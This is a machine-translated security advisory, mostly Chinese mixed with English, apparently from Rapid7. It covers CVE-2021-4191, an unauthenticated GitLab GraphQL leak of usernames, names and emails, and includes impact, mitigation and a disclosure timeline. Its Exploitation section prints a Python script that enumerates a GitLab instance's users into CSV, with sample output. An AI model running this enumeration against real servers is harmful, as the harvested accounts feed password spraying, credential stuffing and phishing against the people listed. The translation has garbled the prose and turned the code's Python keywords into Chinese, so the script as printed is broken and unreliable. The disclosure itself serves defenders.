最后更新于2022年3月3日星期四17:01:48 GMT

2022年2月25日,GitLab published a fix CVE-2021-4191的实例 CWE-359,“将私人信息暴露给未经授权的行为者”.该漏洞现已修补,影响了2013年以来的GitLab版本.0. 该漏洞是执行某些GitLab GraphQL API查询时缺少身份验证检查的结果. A remote, 未经身份验证的攻击者可以使用此漏洞收集注册的GitLab用户名, names, 还有电子邮件地址. 我们对这个问题的初始CVSSv3基本分数评估是 5.3.

Metasploit模块是 available, 我们希望它能被用于信息收集和用户名列表生成. 这个漏洞本身的影响可能可以忽略不计, 但如果结合暴力破解密码和 凭据填料 attacks.

Credit

发现并报告了这个问题 Jake Baines,高级安全研究员 Rapid7的漏洞披露程序.

Impact

GitLab GraphQL API信息泄漏允许远程, 未经认证的攻击者恢复用户名, names, 有时还有电子邮件地址. 从表面上看,这听起来风险很低. However, 帐户发现是一个MITRE ATT&CK technique for a reason. 收集有效用户帐户列表是各种暴力攻击的第一步, such as password guessing, password spraying, and 凭据填料.

这类攻击可能看起来并不复杂,但它们确实有效. 该技术已被非常成功的恶意软件/组织使用,包括 Emotet, Fancy Bear, and Nobelium.

开源攻击性安全社区也投入了大量时间创建暴力破解工具, 这再次证明了暴力攻击在野外是可行的. 开源的暴力破解工具,比如 ncrack, Patator, CrackMapExec, and THC-Hydra

实现使用攻击者提供的用户名列表的攻击. GitLab GraphQL API信息输出有效的用户名. 因此,这个漏洞和现有的工具是互补的.

而攻击者总是可以使用其中一个 popular wordlists 包含已知用户名的暴力攻击会增加其 success 利用已知的被攻击组织的有效用户名.

信息泄露还可能允许攻击者基于GitLab安装创建新的用户名单词列表——而不仅仅是从GitLab.但也可以从其他50,000个可以从互联网访问的GitLab实例中获取.

这样的词汇表并非史无前例. In 2021, Clubhouse公开了一个API,允许未经身份验证的用户枚举Clubhouse用户群. 攻击者使用API并将数据组合成 single database 然后他们在黑客论坛上发帖供任何人使用.

注意,这不是GitLab第一次从API泄露类似的细节. 早在2015年,MWR信息安全 published a blog 还有一个未经认证的远程 Metasploit module 使用' /api/v3/internal/discover '枚举用户帐户?key_id=` API.

Exploitation

在咨询了GitLab工程团队之后, 我们已经确认这个问题是在GitLab 13中首次引入的.0.

易受攻击的端点是“/api/graphql”. The GitLab文档 声明使用个人访问令牌进行身份验证,如下所示.

但是,并非所有对端点的请求都需要身份验证. 一个测试的好地方是GitLab的“/-/graphql-explorer”端点. In the image below, ID的GraphQL请求, name, 所有用户的用户名可以在左侧找到, 响应在右边.

可以请求的不仅仅是ID、名称和用户名. Below, 您将发现未经身份验证的信息的更完整列表, 远程攻击者可以渗透.

下面的Python脚本将打印一个包含发现的id的CSV, usernames, names, email addresses, 如果用户是机器人.

###
# dump GitLab的用户群到CSV格式.
#
#需要GraphqlClient: pip install python-graphql-client
###
从python_graphql_client导入GraphqlClient
import json
import sys
import argparse

Top_parser = argparse.ArgumentParser(description='通过GraphQL转储GitLab用户群的工具')
top_parser.add_argument('——rurl ', action="store", dest="rurl", required=True, help="发送请求的远程URL ")
args = top_parser.parse_args()

客户端= GraphqlClient(端点=args.rurl)

# first从1开始
first = 1

Query_header = """查询
{
    users"""
Query_paging_info = ""
Query_payload = """
    {
        pageInfo {
          hasNextPage
          hasPreviousPage
          endCursor
          startCursor
        }
        nodes {
          id
          bot
          username
          email
          publicEmail
          name
          webUrl
          webPath
          avatarUrl
          state
          location
          status {
            emoji
            availability
            message
            messageHtml
          }
          userPermissions {
            createSnippet
          }
          groupCount
          groups {
            nodes{
              id
              name
              fullName
              fullPath
            }
          }
          starredProjects {
            nodes{
              name
              path
              fullPath
            }
          }
          projectMemberships {
            nodes {
              id
              createdAt
            }
          }
          namespace{
            id
            name
            path
            fullName
            fullPath
            lfsEnabled
            visibility
            requestAccessEnabled
            sharedRunnersSetting
          }
          callouts {
            nodes{
              featureName
              dismissedAt
            }
          }
        }
      }
    }
"""

more_data = True

打印(“id、用户名、姓名、publicEmail机器人”)
而more_data == True:
    Query = query_header + query_paging_info + query_payload
    json_data = client.执行查询(查询=)

    如果json_data中的"errors":
        在响应中收到错误. Exiting. ")
        print(json.dumps(json_data))
        sys.exit(0)

    对于json_data["data"]["users"]["nodes"]中的user:
        打印(用户["id"] + "," + user["username"] + ",+ user["name"] + ",+ user["publicEmail"] + ",+ str(user["bot"]))

    如果json_data(“数据”)(“用户”)(“pageInfo”)(“hasNextPage”)= = True:
        query_paging_info = " (: \ " + json_data(“数据”)(“用户”)(“pageInfo”)(“startCursor "] + "\")"
    else:
        more_data = False

上面的输出示例如下:

albinolobster@ubuntu:~$ python3 gitlab_enum.Py——url http://10.0.0.6/api/graphql
id、用户名、姓名、publicEmail机器人
gid: / / gitlab / User / 4,测试中,乔治,test@test.com,False
gid://gitlab/User/3, Support - Bot, gitlab Support Bot,,True
gid://gitlab/User/2, Alert - Bot, gitlab Alert Bot,,True
gid: / / gitlab / User / 1根、管理员,假的

除了为凭据攻击构建用户名列表之外, 威胁行为者可以利用这些信息开始发现受影响用户的其他社交媒体账户和联系人. 这可以通过查询单个GitLab配置文件页面或简单地交叉引用用户名来完成, names, 以及其他来源的电子邮件地址. 这种类型的信息收集允许攻击者发起更复杂的网络钓鱼攻击.

Mitigation

除非您打算将GitLab作为任何人都可以访问的通用公共资源提供, 确保您的GitLab实例无法从互联网访问. 当然,我们也敦促用户将他们的GitLab服务器实例补丁到最新版本(14.8.2, 14.7.4, and 14.6.5). 禁用公共配置文件也是防止未经身份验证的信息收集的一种很好的通用缓解方法.

To disable public profiles go to the Admin Area -> General -> Visibility and access controls -> Restricted visibility levels. 然后勾选“公开”旁边的复选框. 这将防止任何未登录的人看到用户配置文件.

披露时间表

  • November 2021: 最初的发现和确认 Jake Baines of Rapid7
  • Thu, Nov 18, 2021: 与GitLabs的初步联系
  • Tue, Nov 23, 2021: 问题#1408214在GitLabs打开,提供了完整的技术细节
  • Mon, Jan 17, 2022: 供应商表示即将修复, 经过11月和12月的多次状态更新
  • Tue, Feb 8, 2022: 修复程序已准备、测试并准备在下一个安全更新中发布
  • Fri, Feb 25, 2022: Patch released for CVE-2021-4191
  • Tue, Mar 1, 2022: Metasploit Module PR#16252 已提交CVE-2021-4191
  • Thu, Mar 3, 2022: CVE-2021-4191的公开披露(本文档)

NEVER MISS A BLOG

获取有关安全的最新故事、专业知识和新闻.